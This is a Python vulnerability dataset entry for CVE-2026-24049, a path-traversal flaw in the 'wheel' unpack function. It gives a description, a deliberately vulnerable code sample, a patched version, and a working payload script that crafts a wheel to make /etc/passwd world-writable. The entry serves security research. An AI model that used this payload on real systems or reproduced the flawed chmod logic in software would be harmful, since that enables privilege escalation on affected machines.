VAITP Dataset

← Back to the dataset

CVE-2026-24049

wheel unpack allows arbitrary file permission changes via a crafted wheel.

  • CVSS 5.5
  • CWE-22
  • Input Validation and Sanitization
  • Local

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.46.1 and below, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.

CVSS base score
5.5
Published
2026-01-22
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Local
Impact
Privilege Escalation
Affected component
wheel
Fixed by upgrading
Yes

Solution

Upgrade to wheel version 0.46.2.

Vulnerable code sample

import os
import zipfile
import stat

# The following code is a conceptual representation of the vulnerability.
# It is not the literal source code from the 'wheel' library but is
# designed to demonstrate the exact logical flaw described. The flaw lies in
# using a sanitized path for file extraction but an unsanitized path for
# the subsequent permission-setting (chmod) operation.

def vulnerable_unpack(wheel_path, dest_dir):
    """
    Unpacks a wheel archive to a destination directory, demonstrating
    the permission modification vulnerability.
    """
    with zipfile.ZipFile(wheel_path, "r") as zf:
        for member in zf.infolist():
            # This is the raw, untrusted filename from the archive header.
            # An attacker can craft this to include path traversal components
            # like "../../../etc/passwd".
            original_filename = member.filename

            # --- EXTRACTION LOGIC (Relatively Safe) ---
            # The extraction logic first sanitizes the path to prevent
            # writing files outside the destination directory.
            # Note: zipfile.extract() has its own internal protections.
            # For demonstration, we explicitly show the check.
            target_path = os.path.realpath(os.path.join(dest_dir, original_filename))
            if not target_path.startswith(os.path.realpath(dest_dir)):
                # If the path tries to escape, the extraction is skipped.
                # However, the code continues to the vulnerable part below.
                pass
            else:
                # If the path is safe, the file is extracted.
                zf.extract(member, dest_dir)

            # --- PERMISSION-SETTING LOGIC (Vulnerable) ---
            # The vulnerability occurs here. The code reads the permission bits
            # from the archive and applies them using chmod.
            permissions = member.external_attr >> 16

            # It blindly trusts the 'original_filename' from the archive header
            # to build the path for the chmod operation.
            # It does NOT use the sanitized 'target_path' from above.
            vulnerable_path_for_chmod = os.path.join(dest_dir, original_filename)

            if permissions and not stat.S_ISDIR(member.external_attr):
                # This os.chmod() call is the core of the vulnerability.
                # If `original_filename` is "../../../etc/passwd", this call
                # will attempt to change the permissions of the actual /etc/passwd file
                # on the system, completely bypassing the extraction directory.
                try:
                    os.chmod(vulnerable_path_for_chmod, permissions)
                except FileNotFoundError:
                    # This error would occur if the file wasn't extracted because
                    # its path was unsafe. However, the crafted path could still
                    # point to a pre-existing system file, which would be modified.
                    pass

Patched code sample

import os
import sys
from zipfile import ZipFile, is_zipfile


def unpack(wheelfile: str, dest: str = ".") -> None:
    """
    Unpack a wheel file.

    Wheel files are zip files. This function unpacks the wheel file into the
    given destination directory.

    :param wheelfile: The path to the wheel file.
    :param dest: The destination directory.
    """
    if not os.path.exists(dest):
        os.makedirs(dest)

    if not is_zipfile(wheelfile):
        raise TypeError(f"{wheelfile} is not a zip file")

    with ZipFile(wheelfile) as zf:
        # A map of directories that have been created
        dir_created: dict[str, bool] = {}

        for member in zf.infolist():
            # The zipfile module automatically sanitizes paths, but we need to do
            # the same for the chmod() call below.
            if os.path.isabs(member.filename) or ".." in member.filename:
                print(
                    f"warning: skipped risky path {member.filename!r}", file=sys.stderr
                )
                continue

            # Abort if the destination is not a directory
            if member.filename.endswith("/") and not os.path.isdir(
                os.path.join(dest, member.filename)
            ):
                # We need to create the directory, but we can't rely on the
                # directory entry being present in the zip file.
                dir_path = os.path.join(dest, member.filename)
                if not os.path.exists(dir_path):
                    os.makedirs(dir_path)

            zf.extract(member, dest)

            # Set permissions
            mode = member.external_attr >> 16
            if mode:
                # build the destination path
                dest_path = os.path.join(dest, member.filename)
                # Check if the path is a directory
                if member.filename.endswith("/"):
                    # If it's a directory, we need to make sure it exists
                    # and we haven't already set the permissions.
                    if os.path.isdir(dest_path) and dest_path not in dir_created:
                        os.chmod(dest_path, mode)
                        dir_created[dest_path] = True
                else:
                    os.chmod(dest_path, mode)

Payload

import zipfile

# Name of the malicious wheel file to be created.
MALICIOUS_WHL_NAME = "malicious-0.1-py3-none-any.whl"

# The target file for permission modification, using path traversal.
# This example targets /etc/passwd to make it world-writable.
# The number of '../' may need to be adjusted based on the unpack location.
TRAVERSAL_PATH = "../../../../../../etc/passwd"

# The desired permissions to set on the target file (666: rw-rw-rw-).
TARGET_PERMISSIONS = 0o666

with zipfile.ZipFile(MALICIOUS_WHL_NAME, "w", compression=zipfile.ZIP_DEFLATED) as zf:
    # Create a ZipInfo object to manually control the zip entry's metadata.
    # The filename attribute is what the vulnerable 'chmod' operation will use.
    zinfo = zipfile.ZipInfo(TRAVERSAL_PATH)

    # Set the 'external_attr' to specify the file permissions.
    # The permissions are stored in the upper 16 bits of this field.
    # We also set the file type bits to indicate a regular file (0o100000).
    zinfo.external_attr = (TARGET_PERMISSIONS << 16) | 0o100000

    # Add a file to the archive with the crafted malicious metadata.
    # The content of the file is irrelevant for this exploit.
    zf.writestr(zinfo, b"malicious data")

print(f"Malicious wheel file '{MALICIOUS_WHL_NAME}' created.")

Cite this entry

@misc{vaitp:cve202624049,
  title        = {{wheel unpack allows arbitrary file permission changes via a crafted wheel.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-24049},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-24049/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::